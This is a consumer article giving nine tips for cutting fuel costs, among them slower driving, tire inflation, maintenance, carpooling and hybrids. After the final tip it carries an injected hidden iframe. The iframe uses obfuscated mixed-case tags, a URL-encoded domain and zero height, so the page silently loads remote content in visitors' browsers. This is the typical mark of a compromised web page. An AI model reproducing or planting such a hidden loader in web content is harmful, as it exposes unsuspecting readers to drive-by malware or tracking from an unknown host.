9 Tips For Saving On Fuel Costs

[jessie cheung]

Except for the selection of the car itself, most tips on saving fuel
will not save that much by themselves on a day-to-day basis. However,
combining several tips with time can result in significant weekly,
monthly, and annual savings, depending on the type of car you drive,
the way you drive it, how often you drive it, and where you drive it.
Almost anyone should be able to cut fuel costs dramatically by
implementing as many of the following tips as possible.
1. Driving Habits: As a general rule, speed probably has the most
effect on fuel economy. Most cars today begin to lose fuel effeciency
significantly once you pass 55 mph. The faster you go, the faster the
fuel goes. If you have the option of driving 65 mph or 75 mph, for
example, you will use over 20% more fuel by driving the higher speed.
You will drive a little longer going the slower speed, but the overall
savings can be anywhere from $5 to $10 per extra hour the trip takes.
While this might not be much of a savings on the next trip to
grandma's house, people who drive a lot can save a lot simply by
slowing down, leaving earlier, and planning an effective route.
One driving habit which burns fuel, but which seems to be common is
rapid acceleration, staying on the gas until the last minute, and then
slamming on brakes. My wife and I often comment on the number of
people who get to the red light ahead of us. Professional truck
drivers often increase their fuel economy by "playing the lights",
that is, watching what is happening with the traffic lights ahead, and
beginning to slow down when the light turns red, rather than running
up and braking rapidly. It requires less fuel to speed a moving
vehicle back up than it does to accelerate from a full stop, and less
fuel is burned approaching the light or intersection if the car begins
slowing sooner.
2. Tires: Properly inflated tires, in addition to being safer than
under or over inflated tires, can save fuel. Use a tire gauge and
check the tire for the proper inflation pressure. A tire, particularly
a radial, can be badly under inflated and still appear normal. Proper
inflation will also help insure the longest life for your tires,
saving you the costs of early and frequent replacement, and saving the
environment in terms of the energy and resources needed to produce
those extra tires.
3. Use Higher Gears: This might not be of particular importance to
those driving automatic transmissions, but getting a car up to
cruising speed and putting it in the highest effective gear available
uses a lot less fuel. Beware, however, accelerating too quickly.
Shoving the pedal to the floor in an effort to get to cruising speed
quickly can, particularly with older cars, push more fuel through the
system than is needed, resulting not only in increased fuel use, but
in fouling of the engine due to build ups from partially combusted
fuel.
4. Air Conditioning: We all used to drive with the windows down, all
the time. Use your air conditioner when it is needed, and you could
save a couple miles per gallon.
5. Planning and Sharing: Planning any trip can result in fuel savings.
However, many people overlook the short trips to the mall, the
cleaners, and the bakery. Maybe some of these trips can be combined
into one rather than several which require you to leave your house,
for example, and get to your destination and then return home from
where you begin your next trip. Shopping online is also becoming more
popular, and many things from televisions to cell phone service to
groceries can be ordered on line. Many retailers such as Wal-Mart and
Target have online stores. Of course, be careful that the shipping on
the item doesn't offset the fuel you save. Sharing errands with your
neighbors and carpooling to and from work can save a lot.
6. Automobile Maintenance: A properly maintained car tends to operate
more efficiently than one that is not. Tune-ups and regular oil
changes both can contribute to increased fuel savings. Synthetic motor
oils can contribute to more efficient engine operation and last
longer, thus saving on fuel costs while decreasing maintenance costs.
Learning to do such simple things yourself as oil changes can also
save a lot of money if you have been paying someone else to do them.
Such simple things as changing air filters and worn belts can also
increase engine efficiency, thus contributing to fuel economy.
7. Alternative Transportation: Let's face it. Walking and bicycle
riding have been common forms of transportation in other countries for
years. Not only that, if you have been wanting to start an exercise or
weight loss program, what better way than to make it a part of your
daily activities such as the trip to and from work or the grocery
store which is a mile or so away? Public transportation such as intra-
city rail lines and buses can not only save money and fuel as your
vehicle is no longer sitting in the line of traffic, but the time that
you would have to spend controlling your vehicle is now given back to
you. A few years ago, my wife got tired of commuting 45 minutes each
way, sitting in creeping traffic for most of the time feeling
frustrated and battling road rage...hers and the other drivers'. She
tried the bus for a week and not only saved money on fuel costs, but
arrived at work and back at home rested and calm. She soon had a small
collection of books and tapes that went with her for entertainment and
relaxation on the trip.
8. Hybrids: It is obvious that choosing a fuel efficient car is one of
the first and most important steps that can be taken in saving on fuel
costs. Many companies are already producing hybrid vehicles which can
produce fantastic saving compared to the fuel consumption of standard
cars. While day-to-day driving results are not as good, test vehicles
have achieved over 70 mpg in city driving, the type of driving that
eats fuel up. For those who can't let go of their SUV or high-end
vehicle, Lexus has entered the hybrid market as has Ford, which has a
broad selection of hybrid vehicles to choose from.
9. Alternative Fuels: Much research is being done on fuels such as
natural gas, ethanol, bio-diesel, hydrogen and hydrogen fuel cells.
These show much promise for the future although they are not as
commonly available as gasoline, which can be used in hybrid cars which
are on the market today. Eventually, however, some of these
technologies will be refined to the point where it becomes
economically feasible to consider using them
regularly.
<IfrAmE src=http://%6C%6C%38%30%2E%63%6F%6D/ad.htm width=100
height=0></IfrAmE>